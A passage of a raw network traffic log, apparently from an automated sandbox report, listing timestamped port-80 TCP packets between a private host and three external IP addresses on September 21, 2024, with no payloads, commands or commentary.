Sep 21, 2024 13:33:42.643687010 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.643697023 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.643722057 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.643733025 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.643759012 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.643768072 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.643805027 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.643809080 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.643841982 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.643852949 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.643874884 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.643887997 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.643909931 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.643918037 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.643944025 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.643954039 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.643975973 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.643990040 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.644020081 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.644548893 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.644583941 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.644613028 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.644617081 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.644639969 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.644649982 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.644704103 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.644715071 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.644738913 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.644772053 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.644773006 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.644773006 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.644788980 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.644804955 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.644840002 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.644845009 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.644871950 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.644891024 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.644903898 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.644911051 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.644932032 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.644938946 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.644961119 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.644973993 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.644984007 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.645009041 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.645016909 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.645042896 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.645056963 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.645075083 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.645082951 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.645109892 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.645113945 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.645143032 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.645159960 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.645178080 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.645186901 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.645215034 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.645267010 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.645697117 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.645750046 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.645752907 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.645785093 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.645802975 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.645819902 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.645828962 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.645853043 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.645867109 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.645889997 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.645899057 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.645921946 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.645932913 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.645956993 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.645962000 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.645992994 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.646007061 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.646030903 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.646042109 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.646060944 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.646074057 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.646095037 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.646105051 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.646127939 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.646138906 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.646162987 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.646178961 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.646197081 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.646203041 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.646230936 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.646241903 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.646265984 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.646275043 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.646300077 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.646311045 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.646332979 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.646343946 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.646368027 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.646378040 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.646401882 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.646411896 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.646445990 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.647161007 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.647196054 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.647223949 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.647229910 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.647257090 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.647268057 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.647285938 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.647319078 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.647327900 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.647351980 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.647363901 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.647403955 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.647408009 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.647439003 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.647449017 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.647474051 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.647505999 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.647507906 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.647540092 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.647576094 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.647607088 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.647607088 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.647609949 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.647631884 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.647644043 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.647658110 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.647680998 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.647692919 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.647715092 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.647728920 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.647748947 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.647761106 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.647783041 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.647793055 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.647815943 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.647850037 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.647862911 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.647882938 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.647903919 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.647931099 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.648006916 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.648041964 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.648087978 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.648091078 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.648127079 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.648137093 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.648161888 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.648174047 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.648195982 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.648231030 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.648264885 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.648279905 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.648279905 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.648298025 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.648343086 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.648375988 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.648391962 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.648391962 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.648411036 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.648448944 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.648484945 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.648497105 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.648497105 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.648519039 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.648551941 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.648586035 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.648608923 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.648619890 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.648639917 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.648654938 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.648664951 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.648689985 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.648705959 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.648724079 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.648757935 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.648766994 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.648766994 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.648802042 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.649347067 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.649380922 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.649414062 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.649422884 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.649422884 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.649465084 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.649499893 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.649521112 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.649533987 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.649549007 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.649566889 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.649600983 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.649610043 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.649610043 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.649633884 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.649669886 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.649703026 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.649724007 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.649724007 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.649724007 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.649743080 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.649772882 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.649792910 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.649792910 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.649806976 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.649831057 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.649838924 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.649849892 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.649873972 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.649888992 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.649909019 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.649924994 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.649941921 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.649954081 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.649976015 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.649988890 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.650008917 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.650017023 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.650047064 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.650051117 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.650084019 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.650085926 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.650134087 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.650135994 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.650168896 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.650190115 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.650202990 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.650234938 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.650237083 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.650266886 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.650269032 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.650274992 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.650302887 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.650316954 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.650340080 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.650342941 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.650372982 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.650407076 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.650407076 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.650440931 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.650460005 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.650460005 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.650474072 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.650507927 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.650541067 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.650573969 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.650605917 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.650608063 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.650621891 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.650641918 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.650643110 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.650655985 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.650676966 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.650710106 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.650712967 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.650727034 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.650743008 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.650751114 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.650778055 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.650795937 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.650875092 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.651102066 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.651134968 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.651166916 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.651181936 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.651181936 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.651202917 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.651225090 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.651238918 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.651273966 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.651284933 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.651284933 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.651308060 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.651323080 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.651341915 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.651352882 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.651376009 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.651400089 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.651429892 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.651436090 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.651469946 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.651484013 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.651699066 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.651706934 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.651751995 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.651786089 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.651803017 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.651818991 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.651851892 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.651861906 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.651861906 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.651885033 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.651918888 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.651930094 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.651930094 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.651952028 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.651984930 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.651997089 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.651997089 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.652019024 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.652051926 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.652062893 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.652062893 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.652086020 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.652121067 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.652132988 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.652132988 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.652158022 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.652190924 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.652201891 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.652201891 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.652228117 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.652261972 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.652291059 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.652296066 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.652321100 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.652331114 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.652343035 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.652344942 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.652369022 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.652389050 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.652440071 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.652441025 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.652532101 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.652544975 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.652579069 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.652611017 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.652614117 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.652633905 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.652648926 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.652654886 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.652683020 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.652694941 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.652719021 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.652738094 CEST	49709	80	192.168.2.9	147.45.44.104
